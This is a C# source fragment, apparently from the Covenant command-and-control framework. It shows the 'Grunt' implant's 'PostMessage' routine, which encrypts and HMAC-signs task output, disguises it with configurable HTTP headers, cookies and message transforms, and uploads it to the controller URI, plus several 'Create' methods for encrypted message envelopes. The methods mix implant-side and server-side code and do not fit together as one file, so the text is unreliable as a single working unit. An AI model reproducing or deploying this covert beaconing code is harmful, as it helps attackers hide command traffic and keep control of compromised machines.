public string PostMessage(string message, string meta, GruntEncryptedMessageType messageType = GruntEncryptedMessageType.PostTask)
{
string path = this.ProfileHttpUrls[Random.Next(this.ProfileHttpUrls.Count)];
GruntEncryptedMessage postMessage = this.Create(Common.GruntEncoding.GetBytes(message), meta, messageType);
this.CovenantClient.Headers.Clear();
for (int i = 0; i < ProfileHttpHeaderValues.Count; i++)
{
this.CovenantClient.Headers.Set(ProfileHttpHeaderNames[i], ProfileHttpHeaderValues[i]);
}
if (this.CookieAuthKey != "")
{
this.CovenantClient.Headers.Set(HttpRequestHeader.Cookie, this.ProfileHttpCookies[Random.Next(this.ProfileHttpCookies.Count)] + "=" + this.CookieAuthKey);
}
string messageString = GruntEncryptedMessage.ToJson(postMessage);
string transformedMessage = Utilities.HttpMessageTransform.Transform(Common.GruntEncoding.GetBytes(messageString));
string data = String.Format(this.ProfileHttpPostRequest, transformedMessage);
string response = CovenantClient.UploadString(this.CovenantURI + path, data);
if (response.Length < 3)
{
return("");
}
string extracted = Utilities.Parse(response, this.ProfileHttpPostResponse)[0];
string invertedMessage = Common.GruntEncoding.GetString(Utilities.HttpMessageTransform.Invert(extracted));
GruntEncryptedMessage responseMessage = GruntEncryptedMessage.FromJson(invertedMessage);
if (!responseMessage.VerifyHMAC(SessionKey.Key))
{
throw new GruntHMACVerifyException();
}
return(Common.GruntEncoding.GetString(Utilities.AesDecrypt(responseMessage, SessionKey.Key)));
}
public static GruntEncryptedMessage Create(Grunt grunt, byte[] message, GruntEncryptedMessageType Type = GruntEncryptedMessageType.Tasking)
{
if (grunt.Status == GruntStatus.Uninitialized || grunt.Status == GruntStatus.Stage0)
{
return(Create(grunt.Guid, message, Convert.FromBase64String(grunt.GruntSharedSecretPassword), Type));
}
return(Create(grunt.Guid, message, Convert.FromBase64String(grunt.GruntNegotiatedSessionKey), Type));
}
public GruntEncryptedMessage Create(byte[] message, string meta, GruntEncryptedMessageType type = GruntEncryptedMessageType.PostTask)
{
byte[] encryptedMessagePacket = Utilities.AesEncrypt(message, SessionKey.Key);
byte[] encryptionIV = new byte[Common.AesIVLength];
Buffer.BlockCopy(encryptedMessagePacket, 0, encryptionIV, 0, Common.AesIVLength);
byte[] encryptedMessage = new byte[encryptedMessagePacket.Length - Common.AesIVLength];
Buffer.BlockCopy(encryptedMessagePacket, Common.AesIVLength, encryptedMessage, 0, encryptedMessagePacket.Length - Common.AesIVLength);
byte[] hmac = Utilities.ComputeHMAC(encryptedMessage, SessionKey.Key);
return(new GruntEncryptedMessage
{
Id = GruntId,
Name = GruntName,
Type = type,
Meta = meta,
EncryptedMessage = Convert.ToBase64String(encryptedMessage),
IV = Convert.ToBase64String(encryptionIV),
HMAC = Convert.ToBase64String(hmac)
});
}
private static GruntEncryptedMessage Create(string GUID, byte[] message, byte[] key, GruntEncryptedMessageType Type = GruntEncryptedMessageType.Tasking)
{
byte[] encryptedMessagePacket = EncryptUtilities.AesEncrypt(message, key);
byte[] encryptionIV = encryptedMessagePacket.Take(Common.AesIVLength).ToArray();
byte[] encryptedMessage = encryptedMessagePacket.TakeLast(encryptedMessagePacket.Length - Common.AesIVLength).ToArray();
byte[] hmac = EncryptUtilities.ComputeHMAC(encryptedMessage, key);
return(new GruntEncryptedMessage
{
GUID = GUID,
Type = Type,
EncryptedMessage = Convert.ToBase64String(encryptedMessage),
IV = Convert.ToBase64String(encryptionIV),
HMAC = Convert.ToBase64String(hmac)
});
}
